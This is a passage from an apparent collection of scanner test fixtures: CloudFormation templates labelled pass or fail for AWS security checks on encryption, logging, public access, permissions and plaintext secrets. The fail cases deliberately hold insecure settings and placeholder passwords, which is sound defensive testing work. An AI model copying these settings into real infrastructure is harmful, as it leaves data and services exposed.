    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: AWS::Lambda::Function\n    Properties:\n      Handler: index.handler\n      Role: arn:aws:iam::123456789012:role/lambda-role\n      Code:\n        S3Bucket: my-bucket\n        S3Key: function.zip\n      Runtime: python3.9\n      VpcConfig:\n        SecurityGroupIds:\n          - sg-01234567\n        SubnetIds:\n          - subnet-01234567\n          - subnet-34567890\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaInVPC/sam.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nTransform: AWS::Serverless-2016-10-31\n\nResources:\n  Enabled:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.9\n      VpcConfig:\n        SecurityGroupIds:\n          - sg-12345\n        SubnetIds:\n          - subnet-12345\n          - subnet-67890\n\n  Default:\n    Type: AWS::Serverless::Function\n    Properties:\n      Handler: app.lambdaHandler\n      Runtime: python3.\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaServicePermission/LambdaServicePermission_Fail.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  FunctionFailPermission:\n    Type: AWS::Lambda::Permission\n    Properties:\n      Action: lambda:InvokeFunction\n      FunctionName: TestFunction\n      Principal: apigateway.amazonaws.com\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LambdaServicePermission/LambdaServicePermission_Pass.yml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  FunctionPassingArnPermission:\n    Type: AWS::Lambda::Permission\n    Properties:\n      Action: lambda:InvokeFunction\n      FunctionName: TestFunction\n      Principal: apigateway.amazonaws.com\n      SourceArn: arn:aws:apigateway:us-east-1::/apis/qwerty\n  \n  FunctionPassingAccountPermission:\n    Type: AWS::Lambda::Permission\n    Properties:\n      Action: lambda:InvokeFunction\n      FunctionName: TestFunction\n      Principal: apigateway.amazonaws.com\n      SourceAccount: 901234567812\n  \n  FunctionStringPrincipallPermission:\n    Type: AWS::Lambda::Permission\n    Properties:\n      Action: lambda:InvokeFunction\n      FunctionName: TestFunction\n      Principal: 901234567812\n  \n  ExampleS3ServicePermission:\n    Type: AWS::Lambda::Permission\n    Properties:\n      FunctionName: TestFunction\n      Action: lambda:InvokeFunction\n      Principal: s3.amazonaws.com\n      SourceAccount: 901234567812\n      SourceArn: arn:aws:apigateway:us-east-1::/apis/qwerty\n  \n  ExampleEventsServicePermission:\n    Type: AWS::Lambda::Permission\n    Properties:\n      FunctionName: TestFunction\n      Action: lambda:InvokeFunction\n      Principal: events.amazonaws.com\n      SourceAccount: 901234567812\n      SourceArn: arn:aws:apigateway:us-east-1::/apis/qwerty"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-FAILED-no-enc.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nResources:\n  AutoScalingConfig:\n    Type: AWS::AutoScaling::LaunchConfiguration\n    Properties:\n      ImageId: ami-0ff8a91507f77f867\n      SecurityGroups:\n      - myExistingEC2SecurityGroup\n      InstanceType: m1.small\n      BlockDeviceMappings:\n      - DeviceName: \"/dev/sdk\"\n        Ebs:\n          VolumeSize: 50\n      - DeviceName: \"/dev/sdf\"\n        Ebs:\n          Encrypted: true"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-PASSED-ephermal.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nResources:\n  AutoScalingConfig:\n    Type: AWS::AutoScaling::LaunchConfiguration\n    Properties:\n      ImageId: ami-0ff8a91507f77f867\n      SecurityGroups:\n      - myExistingEC2SecurityGroup\n      InstanceType: m1.small\n      BlockDeviceMappings:\n      - DeviceName: \"/dev/sdk\"\n        Ebs:\n          VolumeSize: 50\n          Encrypted: true\n      - DeviceName: \"/dev/sdc\"\n        VirtualName: ephemeral0"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\nResources:\n  AutoScalingConfig:\n    Type: AWS::AutoScaling::LaunchConfiguration\n    Properties:\n      ImageId: ami-0ff8a91507f77f867\n      SecurityGroups:\n      - myExistingEC2SecurityGroup\n      InstanceType: m1.small\n      BlockDeviceMappings:\n      - DeviceName: \"/dev/sdk\"\n        Ebs:\n          VolumeSize: 50\n          Encrypted: true\n      - DeviceName: \"/dev/sdf\"\n        Ebs:\n          Encrypted: true"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-UNKNOWN.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\n\nConditions:\n  Storage: !Not [!Equals [0, 0]]\n\nMappings:\n  Test:\n    Entry1:\n      AMI: ami-0128839b21d19300e\n    Entry2:\n      AMI: ami-0583ca2f3ce809fcb\n\nResources:\n  AutoScalingConfig:\n    Type: AWS::AutoScaling::LaunchConfiguration\n    Properties:\n      ImageId: ami-0ff8a91507f77f867\n      SecurityGroups:\n      - myExistingEC2SecurityGroup\n      InstanceType: m1.small\n      BlockDeviceMappings: !If\n        - Storage\n        - - DeviceName: !FindInMap\n              - Test\n              - \"Entry1\"\n              - \"Entry2\"\n            Ebs:\n              VolumeSize: VolumeSize\"\n              DeleteOnTermination: \"True\"\n          - DeviceName: \"/dev/sdk\"\n            Ebs:\n              VolumeSize: 50\n              Encrypted: true\n        - - DeviceName: \"/dev/sdf\"\n            Ebs:\n              Encrypted: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_LaunchConfigurationEBSEncryption/LaunchConfigurationEBSEncryption-UNKNOWN_2.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: ElasticsearchDomain resource\n\nResources:\n  AutoScalingConfig:\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3002\n    Type: AWS::AutoScaling::LaunchConfiguration\n    Properties:\n      ImageId: ami-0ff8a91507f77f867\n      SecurityGroups:\n      - myExistingEC2SecurityGroup\n      InstanceType: m1.small\n      BlockDeviceMappings: null\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MQBrokerAuditLogging/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: \"AWS::AmazonMQ::Broker\"\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: Example\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: ACTIVEMQ\n      EngineVersion: 5.15.0\n      HostInstanceType: mq.t3.micro\n      PubliclyAccessible: true\n      Users:\n        - ConsoleAccess: true\n          Groups:\n            - MyGroup\n          Password: AmazonMqPassword  # checkov:skip=CKV_SECRET_6 test secret\n          Username: AmazonMqUsername\n\n  Disabled:\n    Type: \"AWS::AmazonMQ::Broker\"\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: Example\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: ACTIVEMQ\n      EngineVersion: 5.15.0\n      HostInstanceType: mq.t3.micro\n      Logs:\n        Audit: false\n      PubliclyAccessible: true\n      Users:\n        - ConsoleAccess: true\n          Groups:\n            - MyGroup\n          Password: AmazonMqPassword  # checkov:skip=CKV_SECRET_6 test secret\n          Username: AmazonMqUsername\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MQBrokerAuditLogging/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Enabled:\n    Type: \"AWS::AmazonMQ::Broker\"\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: Example\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: ACTIVEMQ\n      EngineVersion: 5.15.0\n      HostInstanceType: mq.t3.micro\n      Logs:\n        Audit: true\n      PubliclyAccessible: true\n      Users:\n        - ConsoleAccess: true\n          Groups:\n            - MyGroup\n          Password: AmazonMqPassword  # checkov:skip=CKV_SECRET_6 test secret\n          Username: AmazonMqUsername\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MQBrokerAuditLogging/UNKNOWN.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  RabitMQ:\n    Type: \"AWS::AmazonMQ::Broker\"\n    Properties:\n      AutoMinorVersionUpgrade: false\n      BrokerName: Example\n      DeploymentMode: SINGLE_INSTANCE\n      EngineType: RABBITMQ\n      EngineVersion: 3.8.6\n      HostInstanceType: mq.t3.micro\n      Logs:\n        General: true\n      PubliclyAccessible: true\n      Users:\n        - Password: AmazonMqPassword\n          Username: AmazonMqUsername  # checkov:skip=CKV_SECRET_6 test secret\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MSKClusterEncryption/MSKClusterEncryption-FAIL.yaml",
    "content": "Resources:\n  MSKClusterFAILskip:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n        ConnectivityInfo:\n          PublicAccess:\n            Type: \"SERVICE_PROVIDED_EIPS\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\"\n  MSKClusterFAILnotTLS:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n        ConnectivityInfo:\n          PublicAccess:\n            Type: \"SERVICE_PROVIDED_EIPS\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      EncryptionInfo:\n        EncryptionAtRest:\n          DataVolumeKMSKeyId: \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n        EncryptionInTransit:\n          ClientBroker: \"PLAINTEXT\"\n          InCluster: true\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MSKClusterEncryption/MSKClusterEncryption-PASS.yaml",
    "content": "Resources:\n  MSKClusterPASSTLS:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n        ConnectivityInfo:\n          PublicAccess:\n            Type: \"SERVICE_PROVIDED_EIPS\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      EncryptionInfo:\n        EncryptionAtRest:\n          DataVolumeKMSKeyId: \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n        EncryptionInTransit:\n          ClientBroker: \"TLS\"\n          InCluster: true\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MSKClusterLogging/MSKClusterNodesArePrivate-FAIL.yaml",
    "content": "Resources:\n  MSKClusterFAILempty:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n        ConnectivityInfo:\n          PublicAccess:\n            Type: \"SERVICE_PROVIDED_EIPS\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      EncryptionInfo:\n        EncryptionAtRest:\n          DataVolumeKMSKeyId: \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n        EncryptionInTransit:\n          ClientBroker: \"TLS\"\n          InCluster: true\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\"\n  MSKClusterFAILdeclared:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n        ConnectivityInfo:\n          PublicAccess:\n            Type: \"SERVICE_PROVIDED_EIPS\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      EncryptionInfo:\n        EncryptionAtRest:\n          DataVolumeKMSKeyId: \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n        EncryptionInTransit:\n          ClientBroker: \"TLS\"\n          InCluster: true\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MSKClusterLogging/MSKClusterNodesArePrivate-PASS.yaml",
    "content": "Resources:\n  MSKClusterPASS:\n    Type: AWS::MSK::Cluster\n    Properties:\n      BrokerNodeGroupInfo:\n        ClientSubnets: \n          - String\n        InstanceType: kafka.m5.8xlarge\n      ClusterName: String\n      EnhancedMonitoring: DEFAULT\n      KafkaVersion: String\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: True\n            LogGroup: String\n          Firehose:\n            DeliveryStream: String\n            Enabled: True\n          S3:\n            Bucket: String\n            Enabled: True\n            Prefix: String\n      NumberOfBrokerNodes: 3\n      Tags:\n        Key: Value\n  MSKClusterPASSskip:\n    Type: AWS::MSK::Cluster\n    Properties:\n      BrokerNodeGroupInfo:\n        ClientSubnets: \n          - String\n        InstanceType: kafka.m5.8xlarge\n      ClusterName: String\n      EnhancedMonitoring: DEFAULT\n      KafkaVersion: String\n      LoggingInfo:\n        BrokerLogs:\n          CloudWatchLogs:\n            Enabled: False\n            LogGroup: String\n          Firehose:\n            DeliveryStream: String\n            Enabled: True\n          S3:\n            Bucket: String\n            Enabled: True\n            Prefix: String\n      NumberOfBrokerNodes: 5\n      Tags:\n        Key: Value\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MSKClusterNodesArePrivate/MSKClusterNodesArePrivate-FAIL.yaml",
    "content": "Resources:\n  MSKCluster:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n        ConnectivityInfo:\n          PublicAccess:\n            Type: \"SERVICE_PROVIDED_EIPS\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      EncryptionInfo:\n        EncryptionAtRest:\n          DataVolumeKMSKeyId: \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n        EncryptionInTransit:\n          ClientBroker: \"TLS\"\n          InCluster: true\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\"\n\n  MSKCluster2:\n    Type: AWS::MSK::Cluster\n    Properties:\n      BrokerNodeGroupInfo:\n        BrokerAZDistribution: String\n        ClientSubnets:\n          - String\n        ConnectivityInfo:\n          PublicAccess:\n            Type: SERVICE_PROVIDED_EIPS\n        InstanceType: String\n        SecurityGroups:\n          - String\n      ClusterName: String\n      EnhancedMonitoring: DEFAULT\n      KafkaVersion: String\n      NumberOfBrokerNodes: 5\n      Tags:\n        Key: Value\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_MSKClusterNodesArePrivate/MSKClusterNodesArePrivate-PASS.yaml",
    "content": "Resources:\n  MSKClusterPASS:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n        ConnectivityInfo:\n          PublicAccess:\n            Type: \"DISABLED\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      EncryptionInfo:\n        EncryptionAtRest:\n          DataVolumeKMSKeyId: \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n        EncryptionInTransit:\n          ClientBroker: \"TLS\"\n          InCluster: true\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\"\n  MSKClusterPASS2:\n    Type: \"AWS::MSK::Cluster\"\n    Properties:\n      ClusterName: \"bad\"\n      KafkaVersion: \"3.2.0\"\n      NumberOfBrokerNodes: 2\n      BrokerNodeGroupInfo:\n        StorageInfo:\n          EBSStorageInfo:\n            VolumeSize: 1100\n        ClientSubnets:\n          - \"subnet-0562ef1d304b968f4\"\n          - \"subnet-08895dbf9e060579b\"\n        InstanceType: \"kafka.t3.small\"\n        SecurityGroups:\n          - \"sg-002ed1a53dc5fe0ad\"\n      ConfigurationInfo:\n        Arn: \"\"\n        Revision: 0\n      EncryptionInfo:\n        EncryptionAtRest:\n          DataVolumeKMSKeyId: \"arn:aws:kms:eu-west-2:680235478471:key/fd160011-126e-4bec-b370-c8765b5c6a37\"\n        EncryptionInTransit:\n          ClientBroker: \"TLS\"\n          InCluster: true\n      OpenMonitoring:\n        Prometheus:\n          JmxExporter:\n            EnabledInBroker: false\n          NodeExporter:\n            EnabledInBroker: false\n      Tags:\n        pike: \"permissions\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_NeptuneClusterBackupRetention/NeptuneClusterBackupRetention-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  NeptuneDBClusterDefault:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      DBClusterIdentifier: DBClusterIdentifier\n  NeptuneDBClusterNotAdequate:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      DBClusterIdentifier: DBClusterIdentifier\n      BackupRetentionPeriod: 3\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_NeptuneClusterBackupRetention/NeptuneClusterBackupRetention-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  NeptuneDBClusterAdequate:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      DBClusterIdentifier: DBClusterIdentifier\n      BackupRetentionPeriod: 7\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_NeptuneClusterLogging/NeptuneClusterLogging-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  NeptuneDBClusterDefault:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      DBClusterIdentifier: DBClusterIdentifier\n  NeptuneDBClusterEmpty:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      DBClusterIdentifier: DBClusterIdentifier\n      EnableCloudwatchLogsExports: []\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_NeptuneClusterLogging/NeptuneClusterLogging-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  NeptuneDBClusterEnabled:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      DBClusterIdentifier: DBClusterIdentifier\n      EnableCloudwatchLogsExports: [\"audit\"]\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_NeptuneClusterStorageEncrypted/NeptuneClusterStorageEncrypted-FAILED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Example Neptune DB cluster\nResources:\n  NeptuneDBCluster:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      BackupRetentionPeriod: 100\n      DBClusterIdentifier: DBClusterIdentifier\n      DBClusterParameterGroupName: NeptuneDBClusterParameterGroup\n      DBSubnetGroupName: NeptuneDBSubnetGroup\n      IamAuthEnabled: true\n      PreferredBackupWindow: NeptuneDBClusterPreferredBackupWindow\n      PreferredMaintenanceWindow: NeptuneDBClusterPreferredMaintenanceWindow\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_NeptuneClusterStorageEncrypted/NeptuneClusterStorageEncrypted-PASSED.yml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: Example Neptune DB cluster\nResources:\n  NeptuneDBCluster:\n    Type: \"AWS::Neptune::DBCluster\"\n    Properties:\n      BackupRetentionPeriod: 100\n      DBClusterIdentifier: DBClusterIdentifier\n      DBClusterParameterGroupName: NeptuneDBClusterParameterGroup\n      DBSubnetGroupName: NeptuneDBSubnetGroup\n      IamAuthEnabled: true\n      PreferredBackupWindow: NeptuneDBClusterPreferredBackupWindow\n      PreferredMaintenanceWindow: NeptuneDBClusterPreferredMaintenanceWindow\n      StorageEncrypted: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_OpensearchDomainAuditLogging/ElasticsearchDomainLogging-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: False\n  Resource1:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_OpensearchDomainAuditLogging/ElasticsearchDomainLogging-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  Resource0:\n    Type: 'AWS::Elasticsearch::Domain'\n    Properties:\n      DomainEndpointOptions:\n        EnforceHTTPS: True\n      LogPublishingOptions:\n        AUDIT_LOGS:\n          Enabled: True\n          CloudWatchLogsLogGroupArn: CloudWatchLogsLogGroupArn\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ParameterStoreCredentials/mix.yaml",
    "content": "Resources:\n\n  FailAPIKey:\n    Type: 'AWS::SSM::Parameter'\n    Properties:\n      Name: '/myapp/api_key'\n      Type: 'String'\n      Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345'\n  \n  Bad1:\n    Type: 'AWS::SSM::Parameter'\n    Properties:\n      Name: '/myapp/secret'\n      Type: 'String'\n      Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345'\n  \n  GoodNoKeyword:\n    Type: 'AWS::SSM::Parameter'\n    Properties:\n      Name: '/myapp/foo'\n      Type: 'String'\n      Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345'\n  \n  GoodVariable:\n    Type: 'AWS::SSM::Parameter'\n    Properties:\n      Name: '/myapp/secret2'\n      Type: 'String'\n      Value: \"${aws_iam_role.lambda[count.index].arn}\"\n\n  GoodFnSub:\n    Type: AWS::SSM::Parameter\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E1019\n    Properties:\n      Type: String\n      Name: secret\n      Value:\n        Fn::Sub: '/cdk-bootstrap/${Qualifier}/version'\n  \n  GoodRef:\n    Type: AWS::SSM::Parameter\n    Properties:\n      Name: SuperSecret\n      Type: String\n      Value: !Ref GoodFnSub\n\n  Bad2:\n    Type: 'AWS::SSM::Parameter'\n    Properties:\n      Name: 'MYSECRET'\n      Type: 'String'\n      Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345'\n\n  PassTestName:\n    Type: 'AWS::SSM::Parameter'\n    Properties:\n      Name: 'MYSECRET_TEST'\n      Type: 'String'\n      Value: 'akdfaksdfjkasdfjskafjdkfajsdfk345'\n\n  PassTestVALUE:\n    Type: 'AWS::SSM::Parameter'\n    Properties:\n      Name: 'MYSECRET2'\n      Type: 'String'\n      Value: 'akdfaksdfjkaEXAMPLEsdfjskafjdkfajsdfk345'"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ParameterStoreCredentials/no_crash.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: CloudFormation template to create an SSM Parameter for holding the DynamoDb Table Name.\n\nParameters:\n  TableName:\n    Type: String\n    Description: The name of the DynamoDB table\n\nResources:\n  AccountInfoTable:\n    Type: AWS::DynamoDB::Table\n    Properties:\n      TableName: !Ref TableName\n      AttributeDefinitions:\n        - AttributeName: id\n          AttributeType: S\n      KeySchema:\n        - AttributeName: id\n          KeyType: HASH\n      ProvisionedThroughput:\n        ReadCapacityUnits: 5\n        WriteCapacityUnits: 5\n\n  DynamoDbParameter:\n    Type: AWS::SSM::Parameter\n    Properties:\n      Name: !Sub /AccountInfoService/${AWS::StackName}/TableName\n      Type: String\n      Value: !Ref AccountInfoTable\n      Description: SSM Parameter for holding the DynamoDb Table Name.\n\nOutputs:\n  DynamoDbParameterOutput:\n    Description: SSM Parameter for holding the DynamoDb Table Name.\n    Value: !Ref DynamoDbParameter\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_QLDBLedgerDeletionProtection/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Disabled:\n    Type: \"AWS::QLDB::Ledger\"\n    Properties:\n      DeletionProtection: false\n      Name: \"ledger\"\n      PermissionsMode: \"STANDARD\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_QLDBLedgerDeletionProtection/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Default:\n    Type: \"AWS::QLDB::Ledger\"\n    Properties:\n      Name: \"ledger\"\n      PermissionsMode: \"STANDARD\"\n  Enabled:\n    Type: \"AWS::QLDB::Ledger\"\n    Properties:\n      DeletionProtection: true\n      Name: \"ledger\"\n      PermissionsMode: \"STANDARD\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_QLDBLedgerPermissionsMode/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  AllowAll:\n    Type: \"AWS::QLDB::Ledger\"\n    Properties:\n      Name: \"ledger\"\n      PermissionsMode: \"ALLOW_ALL\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_QLDBLedgerPermissionsMode/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  Standard:\n    Type: \"AWS::QLDB::Ledger\"\n    Properties:\n      Name: \"ledger\"\n      PermissionsMode: \"STANDARD\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSClusterIAMAuthentication/RDSClusterIAMAuthentication-FAIL.yaml",
    "content": "Resources:\n  Default:\n    Type: 'AWS::RDS::DBCluster'\n    Properties:\n      Engine: 'aurora'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n  Disabled:\n    Type: 'AWS::RDS::DBCluster'\n    Properties:\n      Engine: 'aurora'\n      MasterUsername: 'username'\n      MasterUserPassword: 'password'\n      EnableIAMDatabaseAuthentication: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_RDSClusterIAMAuthentication/RDSClusterIAMAuthentication-PASSED.yaml",
